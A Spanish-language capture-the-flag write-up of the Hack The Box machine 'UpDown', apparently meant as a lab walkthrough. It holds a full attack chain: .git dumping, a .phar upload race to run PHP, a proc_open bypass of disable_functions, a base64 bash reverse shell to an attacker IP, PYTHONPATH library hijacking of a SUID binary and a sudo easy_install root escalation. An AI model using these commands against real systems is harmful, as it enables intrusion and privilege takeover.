UpDown
13 minutos de lectura
disable_functions
en PHP. En la máquina, hay un binario SUID compilado de un script en Python, que puede ser abusado con un ataque de library hijacking. Finalmente, el usuario puede ejecutar easy_install
con sudo
, lo que conduce a la escalada de privilegios- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.177
- Fecha: 03 / 09 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.177 -p 22,80
Nmap scan report for 10.10.11.177
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
| 256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
|_ 256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.52 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeraciónn
Si vamos a http://10.10.11.177
, veremos la siguiente página:
De hecho, vemos un nombre de dominio (siteisup.htb
). Podemos agregarlo a /etc/hosts
, pero el sitio web para http://siteisup.htb
es el mismo.
En primer lugar, podemos enumerar más subdominios usando ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.177 -H 'Host: FUZZ.siteisup.htb' -fs 1131
dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 91ms]
Y también rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://siteisup.htb/FUZZ
dev [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 84ms]
[Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 57ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 45ms]
No tenemos acceso a dev.siteisup.htb
:
$ curl -i http://dev.siteisup.htb/
HTTP/1.1 403 Forbidden
Date:
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 281
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at dev.siteisup.htb Port 80</address>
</body></html>
Y en /dev
no parece haber nada:
$ curl -i siteisup.htb/dev/
HTTP/1.1 200 OK
Date: Mon, 17 Oct 2022 21:20:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
$ curl -i siteisup.htb/dev/ -d ''
HTTP/1.1 200 OK
Date: Mon, 17 Oct 2022 21:20:04 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Entonces, probemos la funcionalidad del sitio web. Podemos probar http://siteisup.htb
, y se ve bien:
La opción debug
muestra la respuesta HTTP completa:
Si intentamos http://127.0.0.1
con la opción de debug
, también muestra el código HTML del sitio web actual:
Ahora, podemos cambiar a curl
y probar otros endpoints y payloads. Por ejemplo, http://127.0.0.1/dev/
, pero la respuesta sigue siendo vacía:
$ curl siteisup.htb -sd 'site=http://127.0.0.1/dev/&debug=1' | sed -n '30,$p'
<center>http://127.0.0.1/dev/<br><font color='green'>is up.</font></center><center>Debug mode:<br><textarea>HTTP/1.1 200 OK
Date: Mon, 17 Oct 2022 20:45:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
</textarea></center> </section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb</p><br>
</footer>
</div>
</body>
</html>
Podemos intentar leer el archivo /etc/passwd
, pero el servidor nos caza:
$ curl siteisup.htb -sd 'site=file:///etc/passwd&debug=1' | sed -n '30,$p'
<center><font color='red'>Hacking attempt was detected !</font></center> </section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb</p><br>
</footer>
</div>
</body>
</html>
El subdominio dev.siteisup.htb
parece estar caído:
$ curl siteisup.htb -sd 'site=http://dev.siteisup.htb&debug=1' | sed -n '30,$p'
<center>http://dev.siteisup.htb<br><font color='red'>seems to be down.</font></center><center>Debug mode:<br><textarea></textarea></center> </section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb</p><br>
</footer>
</div>
</body>
</html>
No hay nada más para probar aquí, así que enumeremos un poco más.
Enumeración de Git
Podemos suponer que /dev/
es un directorio real y debe contener algunos archivos. Usando ffuf
podemos encontrar un directorio .git
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://siteisup.htb/dev/FUZZ
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 116ms]
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://siteisup.htb/dev/.FUZZ
html [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 42ms]
php [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 42ms]
http [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 41ms]
htdocs [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 50ms]
htm [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 76ms]
ht [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 67ms]
git [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 61ms]
httpd [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 46ms]
...
Entonces, es hora de usar git-dumper
:
$ git-dumper http://siteisup.htb/dev/.git/ .
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.git/ [200]
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
[-] http://siteisup.htb/dev/.gitignore responded with status code 404
[-] Fetching http://siteisup.htb/dev/.git/objects/ [200]
[-] Fetching http://siteisup.htb/dev/.git/description [200]
[-] Fetching http://siteisup.htb/dev/.git/branches/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/config [200]
[-] Fetching http://siteisup.htb/dev/.git/index [200]
[-] Fetching http://siteisup.htb/dev/.git/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/post-update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/info/exclude [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-receive.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-push.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/tags/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.idx [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.pack [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/packed-refs [200]
[-] Running git checkout .
Actualizadas 6 rutas desde el índice
Análisis de código fuente
En este punto, podemos leer el código fuente de la aplicación web. En primer lugar, encontramos un archivo llamado .htaccess
:
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
Este archivo es común en aplicaciones web Apache/PHP para limitar el acceso al directorio actual. Esta vez, vemos que para acceder a /dev/
necesitamos agregar una cabecera Special-Dev
con valor only4dev
.
Esto es index.php
:
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
Hay una vulnerabilidad de Local File Inclusion (LFI) aquí, ya que podemos controlar el parámetro de include
. Sin embargo, el archivo debe ser un archivo PHP, porque el servidor agrega la extensión .php
.
También encontramos un changelog.txt
:
Beta version
1- Check a bunch of websites.
-- ToDo:
1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.
Parece que el desarrollador quiere quitar la opción de subir archivos. El código importante aquí es checker.php
:
<?php
if(DIRECTACCESS){
die("Access Denied");
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8' />
<meta http-equiv="X-UA-Compatible" content="chrome=1" />
<link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
<title>Is my Website up ? (beta version)</title>
</head>
<body>
<div id="header_wrap" class="outer">
<header class="inner">
<h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
<h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
</header>
</div>
<div id="main_content_wrap" class="outer">
<section id="main_content" class="inner">
<form method="post" enctype="multipart/form-data">
<label>List of websites to check:</label><br><br>
<input type="file" name="file" size="50">
<input name="check" type="submit" value="Check">
</form>
<?php
function isitup($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, trim($url));
curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$f = curl_exec($ch);
$header = curl_getinfo($ch);
if($f AND $header['http_code'] == 200){
return array(true,$f);
}else{
return false;
}
curl_close($ch);
}
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
function getExtension($file) {
$extension = strrpos($file,".");
return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
</section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb (beta)</p><br>
<a class="changelog" href="changelog.txt">changelog.txt</a><br>
</footer>
</div>
</body>
</html>
Esta es una versión anterior de la funcionalidad inicial. Es muy extraño cómo funciona la funcionalidad de subida de archivos:
- Se sube el archivo (no se permiten algunas extensiones)
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
- Se crea un directorio dentro de
uploads
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
- Se mueve el archivo al nuevo directorio
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
- Se lee el archivo y se extraen las líneas
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
- Se itera sobre las líneas y se comprueba que el sitio web está activo con
isitup
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
Por lo tanto, el archivo debería contener una lista de sitios web para probar.
Acceso a la máquina
Probablemente haya muchas formas de comprometer esta aplicación web. Mi enfoque es el siguiente:
- Subir un archivo llamado
test.phar
(Este archivo será ejecutado por PHP y no está prohibido) - En este archivo, agregar una URL de sitio web y código PHP. El sitio web es
http://dev.siteisup.htb
, que no está activo para la aplicación y, por lo tanto, tarda algún tiempo finalizar - Ir a
http://dev.siteisup.htb/uploads/
(usando la cabecera HTTP especial) para obtener el nombre del directorio (es un hash MD5). Otra forma podría ser calcular algunos hashes MD5 basados en el tiempo y probarlos - Realizar una petición HTTP para
test.phar
, que contiene código PHP que se ejecutará (tenemos algo de tiempo mientras la funciónisitup
termina)
Todos estos pasos donde se escribieron en php_execute.py
(explicación detallada aquí). Ahora podemos ejecutar el código PHP:
$ python3 php_execute.py '<?php echo "pwned"; ?>'
pwned
Obteniendo RCE
Intentemos llamar a system
para ver si tenemos ejecución remota de comandos (Remote Code Execution, RCE):
$ python3 php_execute.py '<?php system("whoami"); ?>'
La salida está vacía… podemos intentarlo con exec
, shell_exec
o passthru
y ninguna funciona. A lo mejor el servidor tiene activado disable_functions
. Para verificar esto, podemos ejecutar phpinfo()
y analizar la lista de funciones:
$ python3 php_execute.py '<?php phpinfo(); ?>' | grep disable_functions
<tr><td class="e">disable_functions</td><td class="v">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen</td><td class="v">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen</td></tr>
Ahora tiene sentido, todas las funciones probadas previamente están deshabilitadas. Sin embargo, hay una que no está ahí: proc_open
(más información en HackTricks). Con esta función podemos ejecutar comandos del sistema con PHP:
$ python3 php_execute.py '<?php $p = proc_open("whoami", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $pipes); echo stream_get_contents($pipes[1]); ?>'
www-data
Entonces, es hora de una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ python3 php_execute.py '<?php $p = proc_open("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $pipes); echo stream_get_contents($pipes[1]); ?>'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:40964.
bash: cannot set terminal process group (912): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev/uploads/0bf9a4f3d7849eec968dc21acc26b43b$ cd ..
cd ..
www-data@updown:/var/www/dev/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@updown:/var/www/dev/uploads$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@updown:/var/www/dev/uploads$ export TERM=xterm
www-data@updown:/var/www/dev/uploads$ export SHELL=bash
www-data@updown:/var/www/dev/uploads$ stty rows 50 columns 158
Enumeración del sistema
Podemos ver que se llama un usuario del sistema llamado developer
:
www-data@updown:/var/www/dev/uploads$ ls -l /home
total 4
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 developer
En /home/developer
vemos un directorio llamado dev
, y dentro hay un binario SUID llamado siteisup
junto con un script en Python llamado siteisup_test.py
:
www-data@updown:/var/www/dev/uploads$ ls -la /home/developer
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 .
drwxr-xr-x 3 root root 4096 Jun 22 15:47 ..
lrwxrwxrwx 1 root root 9 Jul 27 14:21 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 231 Jun 22 15:45 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25 2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 11:24 .cache
drwxrwxr-x 3 developer developer 4096 Aug 1 18:19 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 2 developer developer 4096 Aug 2 09:15 .ssh
drwxr-x--- 2 developer www-data 4096 Jun 22 15:45 dev
-rw-r----- 1 root developer 33 Oct 17 19:26 user.txt
www-data@updown:/var/www/dev/uploads$ ls -la /home/developer/dev/
total 32
drwxr-x--- 2 developer www-data 4096 Jun 22 15:45 .
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 ..
-rwsr-x--- 1 developer www-data 16928 Jun 22 15:45 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 15:45 siteisup_test.py
www-data@updown:/var/www/dev/uploads$ file /home/developer/dev/siteisup
/home/developer/dev/siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped
Como www-data
, podemos leer ambos archivos. El script en Python tiene este aspecto:
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
Probablemente, el binario es una versión compilada del script. Podemos intentar causar un fallo:
www-data@updown:/var/www/dev/uploads$ /home/developer/dev/siteisup
Welcome to 'siteisup.htb' application
Enter URL here:file:///etc/passwd
Traceback (most recent call last):
File "/home/developer/dev/siteisup_test.py", line 3, in <module>
url = input("Enter URL here:")
File "<string>", line 1
file:///etc/passwd
^
SyntaxError: invalid syntax
Confirmado, es la versión compilada del script. Ahora tenemos dos opciones:
- Configurar una variable
PYTHONPATH
y crear un script llamadorequests.py
, de manera que secuestramos la libreríarequests
- Dado que está escrito en Python versión 2.x, podemos abusar de la función
input
y ejecutar código arbitrario de Python (más información en www.geeksforgeeks.com)
Usaré el primero:
www-data@updown:/var/www/dev/uploads$ cd /tmp
www-data@updown:/tmp$ echo 'import os; os.system("bash -p");' > requests.py
www-data@updown:/tmp$ export PYTHONPATH=.
www-data@updown:/tmp$ /home/developer/dev/siteisup
Welcome to 'siteisup.htb' application
developer@updown:/tmp$ cd /home/developer
developer@updown:/home/developer$ cat user.txt
cat: user.txt: Permission denied
Ahora somos developer
, pero no podemos leer la flag user.txt
porque solo está permitido para el usuario root
y los miembros del grupo developer
:
developer@updown:/home/developer$ whoami
developer
developer@updown:/home/developer$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
developer@updown:/home/developer$ ls -la
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 .
drwxr-xr-x 3 root root 4096 Jun 22 15:47 ..
lrwxrwxrwx 1 root root 9 Jul 27 14:21 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 231 Jun 22 15:45 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25 2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 11:24 .cache
drwxrwxr-x 3 developer developer 4096 Aug 1 18:19 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 2 developer developer 4096 Aug 2 09:15 .ssh
drwxr-x--- 2 developer www-data 4096 Jun 22 15:45 dev
-rw-r----- 1 root developer 33 Oct 17 19:26 user.txt
Pero podemos usar la tecla SSH privada para conectarse a través de SSH como developer
sin contraseña:
developer@updown:/home/developer$ ssh -i .ssh/id_rsa developer@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:npwXkHj+pLo3LaYR66HNCKEpU/vUoTG03FL41SMlIh0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
developer@updown:~$ cat user.txt
bc6668d519991f103cc0f2ff873d5c9a
Escalada de privilegios
Este usuario puede ejecutar /usr/local/bin/easy_install
como root
con sudo
(sin contraseña):
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
Este comando se utiliza para instalar bibliotecas de Python, es solo un administrador de paquetes. Por lo tanto, es fundamental tener privilegios elevados en dicho comando.
Existe un GTFOBin que afecta a este comando, por lo que la escalada de privilegios es fácil. Usando mi herramienta gtfobins-cli
podemos encontrar los pasos necesarios para escalar privilegios con easy_install
y sudo
:
$ gtfobins-cli --sudo easy_install
easy_install ==> https://gtfobins.github.io/gtfobins/easy_install/
Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF
Ahora, ejecutamos los comandos anteriores y obtenemos acceso como root
:
developer@updown:~$ cd /tmp
developer@updown:/tmp$ TF=$(mktemp -d)
developer@updown:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:/tmp$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.Jrtbwy1kde
Writing /tmp/tmp.Jrtbwy1kde/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.Jrtbwy1kde/egg-dist-tmp-cTzxdU
# whoami
root
# bash
root@updown:/tmp/tmp.Jrtbwy1kde# cd
root@updown:~# cat root.txt
1161dfa939e78faecd7b07fda0ddec82